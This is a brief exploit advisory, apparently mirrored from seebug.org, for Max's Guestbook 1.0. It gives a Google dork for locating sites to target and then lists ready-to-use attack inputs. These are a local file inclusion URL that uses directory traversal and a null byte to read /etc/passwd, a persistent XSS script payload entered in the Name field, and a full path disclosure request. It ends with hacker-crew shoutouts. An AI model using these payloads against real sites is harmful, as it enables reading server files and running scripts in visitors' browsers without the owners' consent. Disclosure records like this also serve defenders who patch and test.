Max Guestbook 1.0 - Multiple Vulnerabilities

2014-07-0100:00:00

Root

www.seebug.org

JSON

No description provided by source.


                                                # Exploit Title: Maxs Guestbook
# Google Dork: &#34;Powered by PHP F1&#34;
# Date: 14/03/2012
# Author: n0tch aka andmuchmore
# Software Link: http://www.phpf1.com/download.html?dl=18
# Version: 1.0
# Tested on:  Windows 7 / Linux(Ubuntu)


+[-- LFI --]+

http://localhost/max/index.php?page=../../../../../../../../../../../../../../../../../etc/passwd%00

+[-- Persistent XSS --]+

Vulnerable Field = &#34;Name&#34;
Payload syntax: &#60;script&#62;alert(&#39;hello&#39;)&#60;/script&#62;

+[-- FPD --]+

http://localhost/max/index.php?page[]=2

+[-- Shoutz --]+

All the belegit crew..

JSON